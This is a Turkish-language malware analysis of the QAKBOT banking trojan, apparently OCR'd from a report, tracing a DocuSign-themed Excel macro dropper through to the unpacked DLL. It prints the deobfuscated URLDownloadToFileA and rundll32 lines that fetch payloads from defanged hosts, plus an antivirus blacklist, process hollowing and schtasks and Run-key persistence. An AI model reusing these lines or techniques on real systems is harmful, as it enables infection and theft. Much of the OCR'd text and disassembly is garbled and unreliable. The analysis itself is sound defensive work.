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Giris

2007 yilinda ilk olarak tespit edilen QAKBOT, QBOT adiyla da bilinir.
Truva Ati tlrinde olan QAKBOT ailesinin temel amaci bankalardaki kimlik
bilgilerini ve diger finansal bilgileri ¢almaktir. QAKBOT ailesi gecgen
yillarda veri ¢calmayla beraber etkin bir siber saldiri aracina dontismustar.
Gunumuzun en tehlikeli saldirilari bu sekilde gergeklestirilebilmektedir.
Prolock fidye yazilimi ve Windows sistemine uzaktan baglanarak IP adresi
Uzerinden bankacilik islemleri yapabilmektedir. Solucan benzeri calisip
gelisebilir,makinelerde backdoor olusturabilir ve kullanici girdi ¢iktilarini
kaydedebilmektedir.

EMOTET gibi diger koti amagh yazilimlar tarafindan yeniden diriltilen
QAKBOT,spam veya gizlenmis e-postalar kullanilarak bir spam
kampanyasi araciligiyla dagitildigi gorulmustiar.Bu siber saldirilar
oncelikli olarak koti amach bir web sayfasina yonlendirip dropper olarak
excel dokiimani kullanmaktadir. Daha sonra QAKBOT dropper olan excel
dokiimaniyla asil zararli dosyayr macro kodlari yardimiyla indirmektedir.
Dropperlar asil zararliyi yiuklemeye yonelik c¢alisan kotid amacgh bir
bilesendir.Kendisinin bir kopyasini makinede birakip otomatik calistirma
kaydi ve kaliciligi icin zamanlanmis bir gorev olusturur. Ayrica kendisini
explorer.exe processine enjekte eder.

On Izlenim

ilk olarak, 6zellestirilmis bir oltalama e-postasi ile baslamaktadir. E-posta
kotd amacgh Microsoft Office dokiimanina yonlendiren baglanti icerir.
Office macro kodlari VBScript kullanmaktadir. Microsoft tarafindan
Visual Basic lzerinde modellenen VBScript, bir Active Scripting dilini
temsil etmektedir ve indirilen icerikler, siber suclularin kontrolindeki
sunucu ile iletisim kurulmasini mumkin kilmakta ve komutlar
iletilebilmektedir.
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Documents-1472621861.xiIsb Analizi

DOSYA documents-1472621861.xIsb

MD5 7046115d4093bb8a33ae64df0a85c4dd

SHA -1 602a43d4665ea83f3e1d0flbc27ce83f515e6360

Guvenlik uyarisi olarak makrolarin devre disi birakildigi gérulmektedir.
Macrolarin aktif edilmesi gerekir. DocuSign, koti amacgl makrolara sahip
phishing kimlik avi oldugu gézlemlenmektedir.

@ Giivenlik Uyansi Makrolar devre disi birakild, Segenekler..
D3 - ( |

A B C =] E F G H 1 L) K L M N
1
: Docus *. THIS DOCUMENT IS ENCRYPTED BY
4 . DOCUSIGN® PROTECT SERVICE
6
7 PERFORM THE FOLLOWING STEPS TO PERFORM DECRYPTION
B

10 E] If this document was downloaded from Email, please click Enable Editing
from the yellow bar above

14 Once You hawve Enable Editing, please click Enable Content

15 from the yellow bar above

16

17

18

19 WHY | CANNOT OPEN THIS DOCUMENT?

20

21 ™

22 You are using i0% or Android, please use Desktop PC

23

24 =

25

26

27
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28

30

: ocu ra ¥
32 ®
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= The Global Standard for eSignature”
35

37

38

35
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4 4 » | DocuSign ~Docl ~Doc2 ~Doc3 %7

Dokiimanimizin sayfalarina bakildiginda gizli hucreler oldugu
saptanmistir. Gizli hicreler aciga cikarildiginda asagidaki gibi hicreler
icerisinde obfuscateli excel formulleri oldugu gorilmektedir.

AN AO AP AQ AR AS AT

=SUMPRODUCT(4285272,727275275,7527527527,752752752,75257275275)=SUMPRODUCT(4285272,7272752
=SUMPRODUCT(4285272,727275275,7527527527,752752752,75257275275)=SUMPRODUCT(4285272,7272752
=SUMPRODUCT(4285272,727275275,7527527527,752752752,75257275275)=SUMPRODUCT(4285272,7272752 =CALL('Do
=SUMPRODUCT(4285272,727275275,7527527527,752752752,75257275275)=SUMPRODUCT(4285272,7272752
=SUMPRODUCT(4285272,727275275,7527527527,752752752,75257275275)=SUMPRODUCT(4285272,7272752

=HALT(}
[kendiliginden_Ac |

w — — o3z =

=FORMULA('Doc2'IAS73&'Doc2' |AQ73&'Doc2'1A2028'Doc2'1C202&'Doc2' [E2028&'Doc2'1G2028&' Doc2' |AR73, 'De
=FORMULA('Doc2'|AS74& 'Doc2' |AQ74& ' Doc2' 1A203&' Doc2' I C203& Doc2' [E203&'Doc2'1G203&' Doc2' |AR74, 'De
=FORMULA('Doc2'|AS75& 'Doc2' |AQ75& 'Doc2' 1A2048&'Doc2'|C204& ' Doc2' [E2048& ' Doc2'1G2048& ' Doc2' |ARTS, De
=FORMULA('Doc2'IAS76& 'Doc2' |AQ76& 'Doc2'1A2058 ' Doc2' I C205& ' Doc2' [E2058& 'Doc2'1G2058 ' Doc2' |ART6, 'De
=FORMULA('Doc2'|AS77& 'Doc2'|AQ77&'Doc2' IA2068& Doc2' | C206& Doc2' [E206& ' Doc2' 1G206& Doc2' |AR77,'De Se

=FORMULA('Doc2"|AL72& 'Doc2'|AL73& Doc2" AL748& 'Doc2" |AL75& 'Doc2' |AL76& 'Doc2" IALT7,AM30) =RAND()=F er

y
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Obfuscateli excel formilleri deobfuscate edildiginde asagidaki gibi
gozukmektedir.

CALL(“URLMon”,”URLDownloadToFileA”,”JJCCBB”,0,
"https://theottomandoner|[.]Jco[.]Juk/drms/bb.html”,”../wiroe.oer5”,0,0)

CALL(“URLMon”,”URLDownloadToFileA”,”JJCCBB”,0,
"http[:]//nicolette7107gq[.]ru.com/bb.html!”,”../wiroe.oer2”,0,0)

CALL(“URLMon”,”URLDownloadToFileA”,”JJCCBB”,0,
"http[:]//paufderhar07ol[.]Jru[.]Jcom/bb.html!”,”../wiroe.oer1”,0,0)

CALL(“URLMon”,”URLDownloadToFileA”,”JJCCBB”,0,
"https|:]//chocolateuncle[.]Jonline/drms/bb.html”,”../wiroe.oer3”,0,0)

CALL(“URLMon”,”URLDownloadToFileA”,”JJCCBB”,0,
"https[:]//cablenet[.]Jcom[.]ec/drms/bb.html|”,”../wiroe.oer4”,0,0)

EXEC(“rundli32 .\wiroe.oer1,DIIRegisterServer”)
EXEC(“rundll32 ..\wiroe.oer2,DlIRegisterServer”)
EXEC(“rundll32 ..\wiroe.oer3,DlIRegisterServer”)
EXEC(“rundli32 ..\wiroe.oer4,DlIRegisterServer”)
EXEC(“rundli32 .\wiroe.oer5,DlIRegisterServer”)

Yukaridaki internet adreslerine baglanti kurmaya calisarak kullanicilar
dizinine “wiroe.oerl”,“wiroe.oer2”,“wiroe.oer3”,“wiroe.oer4” ve
“wiroe.oer5” adli dosyalari indirdigi ve ayni dosyalar oldugu
gdzlemlenmistir. indirilen dosyalari “DlIRegisterServer” ordinali ile
calistirmaktadir. Bu islemin diger baglanti adreslerinin aktif olmamasina

karsi alinmis bir 6nlem oldugu belirlenmistir.




Wiroe.oerl Analizi

DOSYA wiroe.oerl
MD5 439e101481408971ee0bffde70419566
SHA -1 €2a69bd8477669a135250ae087b36d21cd29ae8a

“Wiroe.oerl” dosyasinin file headeri kontrol edildiginde DLL oldugu
saptanmistir.




,’

( FindResourceA API" si ile resource dosyalarindan “TYU” isimli
dosyanin arandigi gozlemlenmistir. Devaminda buldugu dosyanin
{ SizeofResource API’sini kullanarak hafizada boyutunu belirledikten sonra

VirtualAllocEx APl’sini kullanarak hafizaya c¢o6zimlenmis sekilde
yazmaktadir.

o e ——— TH TFiTBREsGurces <oy cizie
- £ 8BEC bp, EAX "tyu"
| Kes 6A 00 push EBX.
0 FF75 0C push dword ptr 1 ECX “tyy"
D FF75 10 push dword ptr s 1 £0X Wzp*
o FF75 0f push dword ptr s 8 )
. E8 ODFFFFFF call <kerne)32.FindResour ceExA> £
. 50 pop ebp
o7 €2 0C00 ret & f
. % @ CFF Explorer VI - wiroe e oo s
o 90
M 90 File Settings ?
o 90
M 3 | 90 H wiroe.oer! X
o| 75626869 <kerne]32.DosbateTineTor{  88FF 3 @ or
o] 7562 55 &
o7 8BEC > + & Cursors h o9 @ pE
0 83EC 18 ZFile: wiroe.oer! 4 (2 Bmaps
. 66:8845 08 Bl | @ pos Hoader %
. 66:C1E8 09 B3 kons
o7 89 8C070000 e 2 @ NtHeaders + ) Dialogs
: ggggﬁé 1] :g\d wx;Fc‘ptr 55:febp [— 9 FileHeader (1 String Tables
. 8845 08 mov eax,dword prr ss: -FLyOpnonalHaade' 2 RCData
o C1E8 05 shr eax, "OVCLAL® - R
M 8360 OF and eax 4 Data Directores x| ',‘,Z:O'.\L l;a"”]
’ 66:8945 EA nov word ptr ss:febp-1| |— @ SectonHeaders 2 "PACKAGEINFO" - [lang
. 8845 08 mov eax,dword ptr ss:fff| 3 import Directo 2 "TLOGINDIALOG" - [lang,
. it |hov ot o el | e i © TPASSWORODIAOG
o L P! +ke0p-11 — QResource Directory & "z - g2}

t— L Relocaton Directory 1) Cursor Groups

edi=01FF697C t— % Address Converter %0 Teon Groups
{— % Dependency Walker o M4

L Text:7562e8CB kernel32,d11:$266CB #2E8CB <FindResourceA> |— % Hex Editor Y"1 - [fang: 10265
¥ Dom! | % Dokom | &% Dokum3 | &% Dokoms | e Dokums | @ i1 | 1o YerelDelikener | ||| dentier
Adres | Hex | Ascar | — % Import Adder

10C0K y. . t— % Quick Disassembler
010€0010/ 88 00 0

010¢0020(0 t— % Rebuilder

guxggjg 00 0 {— % Resource Editor

10C0040| BA

01000050 54 68 — B UPX Uity

010C0060| 74 " = -

010c0070| 69

010C0080/ 00 T0T0C358] wiroe. 010C3565

010C0090) 0 o

010C0040| 00 00 0 ( 0027¢501 -

Asagidaki algoritma kullanilarak ¢coziimleme yapmaktadir.

¥

wiroe.0lE3F248
add eax,dword ptr ss:[ebp-4]
mov edx,dword ptr ds:[1E42CD4]
xor dword ptr ds:[edx],eax
add dword ptr 55:[ebp 1,4
add dword ptr ds:[1E42cD4],4
mov eax,dword ptr ss:[febp-4]
cmp eax,dword ptr ds:[1E42CDE]
jb wiroe.1lE3F234

push dword ptr
push dword ptr
push dword ptr
push dword ptr
push dword ptr
mov eax,l

push eax

mov eax,dword
push eax

ret

call wiroe.1DC3268

¥ ¥
wiroe,0lE3F234 wiroe.01le3F269
mmov eax,dword ptr ds:[1E42CD4] mov eax,dword ptr ds:[1E42CDO]
mov edx,dword ptr SS.EEbp 1] add eax,dword ptr ds:[1E42cDC]
add dword ptr ds:[eax],edx sub eax,dword ptr ds:[1E42CEOQ]
mov eax,dword ptr ds:[1E42CES8] add eax,4
add eax,BA582 mov dword ptr ds:[1E42CE4],eax
mov eax,dword ptr ds:[1E42CCB8]

ds
ds
ds
ds

ds

: [1E42D00]
: [1E42D04]
: [1E42D08]
: [1E42D0C]
: [1E42668]

ptr ds:[1E42CE4]




pd

Cozme isleminin ardindan ¢ikan dosya incelendiginde asil zararli islevi
yaptigi yer oldugu anlasiimaktadir.

y

DOSYA UNNAMED
MD5 bf405fb27ec79209e373c32dfac66203
SHA-1 fa6a850c19291fb5f8372d8821b527c2cf15d8cl

Cikan dosyanin File Header’ina bakildiginda dosyanin bir DLL oldugu
gozlemlenmistir.

Blacklist

Analize baslandiginda bir blacklist mevcut oldugu gorulmektedir.
Zararli 16 adet antiviris programinin sistemde var olup olmadigini
denetlemektedir.

avgcsrvx.exe MsMpEng.exe | avp.exe egui.exe

bdagent.exe AavastSvc.exe | coreServiceShell.exe | SAVAdminService.exe

fshoster32.exe | Wrsa.exe vkise.exe MBAMServixe.exe

fmon.exe dwengine.exe | mcshield.exe ByteFence.exe

33¢0 XOr eax,eax eax: "Avastsvc. exe”
807D D4 Tea edi,dword ptr ss:[ebp-2c]
AB 5t0sd
AB stosd
€745 DC 00000100 mov dword ptr s5s:[ebp-24],10000
€745 E0 08020000 mov dword ptr ss:[ebp-20],208
33¢0 XOr eax,eax eax: "Avastsvc. exe”
807D E4 Tea edi,dword ptr ss:[ebp-1c]
AB stosd
6a 11 push 11
5B pop ebx
AB stosd
8DBD E4FEFFFF Tea edi,dword ptr ss:[ebp-11C]
895D FC mov dword ptr ss:[ebp-4,ebx
8847 FC mov_eax,dword ptr ds:[edi-4] eax: "Avastsvc. exe”
F& F0440000 Fall yedek.1001346R
8945 F8 mov dword ptr ss:[ebp-8],eax
85¢0 test eax,eax eax: "Avastsve. exe”
v 74 1A Jje yedek. 1000F 5AC
57 push edi
6A 00 push 0
64 3B push 38
8BFO mov esi,eax 251 AVasTSVC. exe”, eax: Avastsve.exe”
ES BAFSFFFF call yedek,1000E628
8047 04 mov dword ptr ds:[edi+d],eax eax: "Avastsvc. exe”
83c4 OC add esp,cC
8045 F8 Tea eax,dword ptr ss:[[ebp-&]
EE 07000000 call yedek.10010263
83C7 10 add edi,10
FF4D FC dec dword ptr ss:[ebp-4]
~ 75 CF jne yedek.1000F583

y
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Antivirlsler icin blacklist kontroli yapildiktan sonra zararli Shellcode

enjekte edebilecegi alani HeapCreate ile olusturmaktadir.

. — P

FF15 C8000210 €all dword ptr ds:[<&HeapCreate>]
A3 44570310 mov dword ptr ds:[10035744],eax
C3 ret
55 push ebp
8BEC mov ebp,esp
837D 10 00 cmp dword ptr ss:|febp+10J,0
« 74 17 je yedek.10000197

884D 08 mov ecx,dword ptr c«:Erhp 8
8845 0OC mov eax,dword ptr ss:febp
2BC8 sub ecx,eax
8a10 mow dW,byte ptr ds:[eax]
FF4D 10 dec dword ptr ss:[ebp+10]
881401 mov byte ptr ds:[ecx:eax],dl
40 inc eax
8370 10 00 cmp dword ptr ss:|febp+10J,0
75 F1 jne yedek.10000188
8845 08 mov eax,dword ptr ss:febp+E&l
5D pop ebp
c3 ret
55 push ebp

'l I

dword ptr [ebp+10]=[0026EEA4]=1AC3

. Text:1000018A yedek.d11:3D18A #C58a

Process Hollowing

Qakbot zararli yazilimi diger zararli yazilimlarin da siklikla kullandigi
Process Hollowing teknigini kullanmaktadir. Explorer.exe process’i
suspend olarak baslatmaktadir. Ardindan WriteProcessMemory yaparak

zararhyi bu alana enjekte etmektedir.

8% rundii32.exe - PID: A28 - Modil yedekad| - Thread: Ana lslem 77C - 32calistir Lo oo acker uINL1 14 explorer.exe (3084) Ozellikleri =]
Feo 1| | exploreriexe (3084) (0480000 - 0xb9000) [E=REER " —
§ i *3 ta il PRt u i Handles GPU Comment
L] TH v L . 5 . .
i s = =4 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..... . General | Sttitcs | Perfomance | Thveads | Token | Modues | Memory |
Bou | @onik | ok | noter | o Kesmenoktaln | o 00 00 00 seeiefd
X 39 pop ecx 00 00 00 V] Hide free regions Strings... || |
59 pop ecx 00 00
8345 FO mov dword ptr ss:febp-10], eax 00 00
38C3 cmp eax, ebx bt = Base address Type Size Protection Use
0F84 95000000 je yedek.1000067€ 000 00 0
884D FC mov ecx,dword ptr 5s:febp-4]) 00000060 000 00 0x10000 Private 128k8 RW
6A 04 h 4 s e -
68 00100000 0000007 00 00 0x30000 Private 8k8 RW
56 000080 00 0 0x40000 Image 4k WCX C:\Windows\System32
53 p 0000005 00 00
FF75 08 push Gword ptr ss:fel 0000000 00 0 0x50000 Mapped 16k8 R
8988 24020000 mov dword ptr .: W‘BMEH - 0x60000 Mapped 8k8 R
AL €8560310 mov_eax, dword 00000060 0
FFSD 54 G dvord per ce: 000000¢ 0 Ra%00 SYhets i
88F8 mov edi,eax ¥ 0 4 080000 Mapped 228k8 RWX
e ;Sf ”::‘mrd 7 86 falyi-1 00 080000 Mapped: Commit 28k8 RWX
Al (8560310 mov eax, dword ptr ds: [100356¢ 0 0xc0000 Private 256 k8 RW Stack (thread 3096)
G g:f;h S ptr ss:Rebp-10) 0x100000 Private ska RW
37 push edi % 01250000 Private 256k RW Stack 32-bit (thread 3¢
FF75 08 push dword prr ss:febp ] 0 0 i
FFS0 20 call dword ptr ds:[eax: 20 0000130 00 00 00 00 00 00 00 00 00 00 00 00 00 O . 0220000 Image 291648 WCX C:\Windows\SyswOw
:245 FO 1$:he‘f}:dmrd per ss {klu 108 v ‘ = ’ ‘ ‘ 07 0x77800000 Image 1,660 k8 WOX C:\Windows\System32
50 gush eax e-rei e || Goto.. |[|i6bytesperrow | Save.. || Cose | X779c0000 Image 1536k WOX  C:\Windows\Syswowt
EB CAFBFFFF call yedek.100001€A
Al A8560310 mov eax,dword ptr T T TpRee | 0:7efbo000 Mapped Wk R
8945 FO mov dword ptr . 0x7efdb000 Private 1248 RW TEB (thread 3096)
8845 k¢ oy A%, dwor dpir ebp-1c] :"PE 1 svchostexe 0x7efde000 Frivte 48 RW PEB 32-bit
; d 20]=[00AFFB08] <&nr { : Kerne132,wr1 ' lsass.exe Ox7efdf000 Private 4k RW PEB
word ptr [eax+20]=[00AFFB! [< riteprocessmenory>]=<kernel32. writeprocessuemory> ] B lsmexe 600 Privele 1630418 R
i x7ffe0000 Private 64K R USER_SHARED_DATA
. text:10000619 yedek.d11:50619 #CAL9 b} csmsene i
T T T = ﬂ winlogon.exe
) Dokum2 | % DOkum3 | g% Dokumd | &y DokumS \ 45 Dokom1 | @ el | I Yerel Degigkenler ‘ 7 Yapi o T
Adres | Hex | ASCII | w Explorer .
0026EECE| 00 00 0 swea Qe eswmni kel 1! wintoolservice.exe q =
0026EED8 0 TG : )
0026EEES 0 q AT @ wintools4.exe
0026€EF800 0 3 61 64 63103 64 63 64 7361 |....sadccdedsasa |
0026€F08 0 & & o 77 71 00 00| cdcdwquguq R processfackerexe r
0026€F18 4
0026€F 28 {00 T
00266738 |0 4| undiz2ere — e —————————
0026€F48|3C 01
0026€F58(20 7
00268681 28 X036 jusched.exe 19MB_ WIN-LIKON79P80zorc Java Update ¢

D

>



v explorer.exe (3084) (0x80000 - 0xb9000)

00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000030
000000a0
000000k0
0000000
00000040
0000000
000000£0
00000100
00000110
00000120
00000130
00000140
00000150
00000160
00000170
00000180
00000130
000001a0
000001b0
000001c0
00000140

4d
b8
oo
oo
Qe
65
T4
6d
ed
b6
bé
ad
ad
bé
b6
oo
c4
0b
ab
oo
05
00
oo
20
oo
oo
oo
0o
oo
oo

5a 50
00 o0
00 00
00 00
1f ba
73 20
20 62
6f 64
39 c4
c5 36
cb 34
38 ab
54 a5
e3 05
c5 37
00 00
c3 76
01 0a
33 00
10 00
00 01
00 00
00 10
3d 03
60 03
00 00
00 00
00 00
0o oo
00 02

]
00
00
00
Qe
70
(4]
85
9d

ce

03
oo
[1[1]
00
o0
72
20
2e
ad
af
af
31
ac
2
ac
00
oo
[1]1]
oo
0o
oo
02
00
51
£4
oo
00
00
oo
ae

00
00
00
00
b4
6f
72
od
58
58
58
58
58
58
58
00
00
£0
10
02
00
00
10
00
04
00
00
00
00
02

00
0o
00
0o
03
€7
75
od

ce
ce
ce
ce
ce
00
60
00
00
00
00
00
00
00
00
00
00
00
00
00

ResumeThread ile

0o
00
00
00
cd
12
6e
Oa
ce
ce
ce
ce
ce
ce
ce
00
0o
00
00
00
00
00
00
00
00
00
00
00
oo
00

getirmektedir.

kendini

04

00
00
21
61
20
24
ad
a4
a4
bé
bE
bé
52
50
0o
00
oo
05
00
00
00
58
00
oo
00
00
0o
00

00
00
00
00
b8
6d
69
00
58
20
20
c3
c5
c3
65
45
00
72
00
00
90
00
00
31
00
70
00
00
0o
00

00
00
00
00
01
20
6e
00
aa
25
35
00
01
31
83
00
00
01
02
01
03
10
00
03
00
03
00
00
oo
00

oo
oo
0o
oo
4c
€3
20
oo
ce
ce

££
00
00
£8
ed
61
44
0o
ad
a%
b
a7
a8
ac
ad
4c
el
0o
00
00
00
00
10
de
0o
4c
00
00
oo
0o

f£
00
00
00
21
be
4f
00
58
58
58
38
58
58
58
01
00
00
00
00
04
10
00
00
00
12
00
00
00
00

20
00

ce
ce
ce
ce
€8
00
00
0o
00
0o
00
00
00
00
0o
00
00
00
00
00

[1: I ..

L.!Th

6f i= program canno
t be run in DOS

F?"?' 4 explorer.exe (3084) Ozellikleri
- Handles GPU
E | General ‘ Statistics | Performance | Threads | Token | Madule
/| Hide free regions
Base address Type Size Protection |
0x10000 Private 128kB RW
030000 Private 8kB RW
Ox40000 Image 4kB WoX (
Ox50000 Mapped 16k8 R
0X60000 Mapped 3ke R
0x70000 Private 4k RW
Tarped i MW!_‘
0xBO000 Mapped: Commit 228 kB RWX
PTvTE e R t
Ox100000 Private 8kB RW
0250000 Private 256 kB RW 9
0x2a0000 Image 2916 kB WCX (
0x77800000 Image 1.660 kB WCX (
0x779c0000 Image 1536 kB WCX (
0x7efbooon Mapped 140k R
Ox7efdb000 Private 12k8 RW 1
Ox7efde00D Private 4kB RW F
Ox7efdfi00 Private 4kB RW i
0x7efe0000 Private 16.384 k8 R
fvfanann Oriuata Rale @ i

suspend durumunda olan process’i aktif duruma

Eger belirtilen blacklistten herhangi birine rastlar ise

“explorer.exe”

edebilmektedir.

disinda

“mobsync.exe”

icerisine enjekte

e | Ly | Lo | e | e | Ly gy s o | o) swiseus | o s | o | i P — P —————.
5 b <o « [Py Gizle ||| Name
i i yet oo B o T Bl s e
sg:mza 30 isghemmurd ptr ss:fesp+30] ECX 75312609 417 Searchindexer exe
AL CB360310 mov eax, dvord per ds:[100356¢8) e 11 SearchProtocol
;; gﬂ;ﬂ 3@;‘ ESE  0026r250 ) 1 SearchFilterHo:
FH push ebx I 0000044 LA
FF90 C4000000 Bl dvord prr ds:easce] EDL  O026F280  "{1723ABB4-3740-4BDE-A90-50AD: (s msdicere
Ber0 mov esi,eax
1863 prigpet EIP 10000746  yedek, 10000746 1 svchostere
« 74 3C je yedek.100007C6 1 sppsvcere
FF15 40010210 gall dword ptr ds: <&GetLastErrorh] EFLAGS 00000202 o
Fr7ai push dword ptr ss: 2] ZEO PFO AFO 1 suchostexe
4 AL CB360310 mov eax, dword prr J.[mssﬁcs] oF0 SFO DFO i
110000799 |call dword pir ds [eax+100] CEO TEOD IF1 sassexe
10 (T3 B5cO test eax,eax b lsmexe
al 8560310 mov eax, dword ptr ds:[100356C8) Lasterror 00000000 (ERRDR_SUCCESS) '
y E; ESE AD000 gESKeFSEthOOn‘.’CZ LastStatus CO000034 (STATUS_OBIECT_PATH_NOT_FOUND 1) corssene
56 push esi winlogon.exe
FF50 2¢ €all dword ptr ds:[eax+2c] GS 0028 F5 0053 ﬂ
8500 Test eax,eax E3 xig '] %gﬁ J explorerexe
- 75 0B ne yedek. 10000780 s 25 0028
€74424 0c 01000000 | mov dword ptr 55:[esp+C],1 i ' wintoclservice.exe
as% CB560310 gzzhe::dword ptr ds:[100356c8] Varsaylan (stdcal «5 &[] Kitsiz mmmmsﬁqﬂe
FF50 30 gall dvord pte ds: [eax: 30 17 Tesp+d] BO0G000T 4 chromeexe
395(22'4 0 onp dword gtr 55:Jesp+20] ,ebx 2: [esp+8] 00000000
Y ie yedek. 100007FA 3: [espC] 00000000 € chomeexe
395C2d 0 emp dword ptr ss:fespsC],ebx T 14: [esp+l0] 00000000

{ il

dword ptr [eax+100]=[00AFFEER <&ResumeThread>]=<kernel3Z. ResumeThread> l

. Text 10000799 yedek, d11:30799 #CB39
ils Dékimi ] 4is Dakim2 | w4 Dikim3 | vy Dikimd | B4 Dokums 48 e | h-|vue|beg|¢enurb| »

' 5: [esp+ld] 00000000

F 384
1100000001

adres | Hex | AsCIT

Q0AFFAER R 48 A4 TS(JB 48 A4 VD7 J4 A4 7520 10 A4 TS EHu+HRuxSHU du
O0AFFAFS 75 |BE_74_AB 15|71 B3 AC "5 T 6b A 75 E.Hu T uge-uzf-u
004FFa08|40 DA A5 75 (62 19 ad AT 75(36 11 Ad Ti-gwuﬁ nu?iwue Ay
O0AFFB1E|E 73|34 A3 73 B, UL /mus, RU4B¥Y
00AFFB28|53 BC AB 7 "‘E "'2' }Tn AG 7315, lub, lu,, ur, Ju
004FFE38| 5 D5 A6 75 |10 0A AS 15 LAY LT EE17 A% 75 .0/ u.0¥u2, u, . ¥u
004FFBAS 7 CB 8 a5 75(3a 10 Ad 75| "G¥u. TVUREVY: . Bu
ONAFFRSRIEA 24 A4 75174 40 A4 75 A1 44 A4 75IF4 1A A4 75 ASHuT@musnaud. sy

00000000
C | 00000000

&."C:\\windows )\ Syswowt4\ \explorer, exe"

@ chromeexe
€ chromesexe
€ chromeere
E‘ chrome.exe
G chrome exe
B YTy —
4 ¥ 32calistirexe
4 | ndi32exe
- explorerexe
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Qakbot zararlisi, sistemde kalicilik saglamak icin kayit defterindeki
"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
anahtarini kullanmaktadir.

1000D1EA 53 push ebp
1000D1E8 8BEC mov ebp,esp
1000D1ED 8845 08 mov eax,dword ptr ss:[ebp+8] [ebp+8] :&L"SOFTWARE\\Microsoft\ \Windows\\Currentversion\\Run"
1000D1F0 85¢0 test eax,eax eax:&L"SOFTWARE\ \Microsoft\\Windows\\Currentversion'\Run"
100001F2 | v« 74 43 je yedek.10000237
1000D1F4 56 push esi @51 :L"SOFTWARE\\Microsoft\\Windows\\Currentversion\\Run"
1000D1F5 8830 mov esi,dword ptr ds:[eax] es7:L" SOFTWARE\\M1crosoft\ \Windows\\Currentversion\\Run", [eax]:L"SOFTWARE\\Microsoft\\Wir
1000D1F7 85F6 test esi,esi es1:L"SOFTWARE\ \Microsoft\\windows\ \Currentversion\\Run"

v 74 38 je yedek.10000236
1000D1FB 8320 00 and dword ptr ds:[eax],0 [eax] :L"SOFTWARE\ \Microsoft\\windows\ \Currentversion\\Run"
1000D1FE 8845 0C mov eax,dword ptr ss:[ebp+Cl
10000201 83F8 FF mp eax,FFEFFFFF eax:&L"SOFTWARE\ \Microsoft\ \windows\\Currentversion'\Run"

-9) 10000204 | v 75 09 jne yEdgk.lOOODZDF

10000206 56

10000207 EB 6C2C0000
1000020C 59
10000200 | v EB OC

1000020F 83F8 FE
100 v 7507
100002 8BCE
10000216 E8 7E200000
10000218 50

1000021c 6A 00
1000021E 56

100002 E8 ATFFFFFF
100002 83c4 0c
100002 56

100002 64 00

100002
100
10000236 5E

push esi

call yedek.1000FE78

pop ecx

Jjmp yedek. 10000218

mp eax, FFFFFFFE

jne yedek.10000218

mov ecx,esi

call yedek.1000FF99

push eax

push 0

push esi

call yedek.100001C8

add esp,C

push esi

push 0

push dword ptr ds:[10035744]
call dvord ptr ds:[<8HeapFrees]
pop esi

| i

es1:L"SOFTWARE \Microsoft\\Windows\ \Currentversion\\Run"

eax:&L"SOFTWARE ' \Microsoft\\windows\\Currentversion\\Run"

esi:L"50FTWARE'\\Microsoft\\windows\\Currentversion\\Run"

eax:&L"SOFTWARE\ \Microsoft\\windows\\Currentversion\\Run'

esi:L"SOFTWARE'\\Microsoft\\Windows\\Currentversion\\Run"

e51:L"SOFTWARE'\ \Microsoft\\windows\\Currentversion\\Run"

es1:L"SOFTWARE \Microsoft\\Windows\\Currentversion\\Run"

e51=01EAELBS L"SOFTWARE\\Wicrosoft\\windows\\Currentversion'\Run"

.text:100001F4 yedek.d11:SD1F4 #C5F4

Anti-Analysis kontrollerinden sonra QakBot zararlisi, bir yapilandirma
dosyasiyla birlikte kendisini AppData altina kopyalamaktadir.

E

3E

28

edi

dword ptr ds:[<@BitB1t>]
#feax,dword ptr ds:[100356A8]
of edi

of dword ptr ds:[eax+AC]

o| yedek.10004009

efecx

olecx

sjdword ptr ds:[10035600], eax

efeax, edi
r----—-#yedek, 10003654

| 0?2
! o|yedek. 10003657
! of eax
g #feax,dword ptr ds:[100356C8]
3 o dword ptr ds:[eax+30]
| o 3
| oeax
———a|yedek.100036C9
- yedek.10011747
sjdword ptr ss:[ebp-4],eax
E—— s eax, edi
ledek. 100036C7

ol

o dword ptr ds:[<&GetLastErrors]

Users

users
Users

[alal

-

lala)

Users
Users

-

eax:L"C:\\Users

[ebp-4]:L"C:\\Users
ean;L"C:\\Users\\

innduv. d11"

qbouvijf

AppData\,\Roaming'\Microsoft

d1n”
din”

innduv.
innduv.

Microsoft

AppData
Microsoft

AppData

Roaming
Roaming

din”
din”

innduv.
innduv.

Microsoft

AppData i
Microsoft

AppData

Roaming
Roaming

AppData\\\Roaming',\Micresoft\\Qbouvjf\\innduv.d11"

AppData Roarw‘ng Microsoft Qbm.‘-.-;'f innduv. d11"
\\AppData\\Roaming\\M1crosoft\\Qbouvjf\\innduv.d11"

11l | 3

eax=01F1FF60 L"C:\\Users
edi=0

.Text:10003662 yedek.d11:$3662 #2A62

AppData' \Roaming\\Microsoft\\Qbouvif\innduv. dTT"

Wy Déikiim1 | Wy Dokim2 | W Dikim3 | 4 Diikiim4 | Wy Dokim5 | @ et

Iv=| Yerel Dediskenler | 2 Yapi ‘
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Duzenle = Kitapliga ekle = Bununla paylag > Yaz  Yeni klasor = - _|J Q
Sik Kullanilanlar Ad : Degistirme tarih Tar Boyut :
W Kargdan Yuklemeler dzgenmhaknte 060520212130 NTE Dosyas 4858 |
 Masalsty innduv.dil 060520212148 Uygulama uzantis 264K8

2 Son Yerler

] Kitaplikdar
*, Belgeler
4, Mizik
=, Resimler

 video

A Bilgisayar

@Ay

Qakbot zararlisi ne zaman calisacagini ve ardindan silinecegini
belirlemektedir.

yedek. 10009CED

push esi ; esi:L™\"C:\\Windows\\system32\\schtasks.exe\" /Create /RU \"NT AUTHORITY\\SYSTEM\" /tn cxcgmrzjc /tr \"regsvri2.exe -5 \\\"C:\\Users\} \\Desktop\\yedek. d1T\\\"\" /5C ONCE /Z /ST 02:08 /ET 02:20"
call yedek.10000064

nlea eax,dword ptr ss:flespr280 ; [esp+28]:L"regsvr3l.exe -5 \\\"C:\\Users Deskrop\\yedek, dT1\\\""

push FFFFFFFE

push eax

€all yedek.100001EA

add esp,18

Tea eax,dword ptr ss:[fesprc]

push FFFFFFFE

push eax
€all yedek.100001EA
pop ecx

pop ecx
Jmp yedek.100090C1

yedek.100090C1

X0 £aX, eax

pop edi

pop esi ; esi:L™\"C:\\windows\\system32\\schtasks.exe\" /Create /RU \"NT AUTHORITY\\SYSTEM\" /tn cxcgmrzjc /tr \"regsvr3
pop ebx

mov esp, ebp

pop ebp

ret

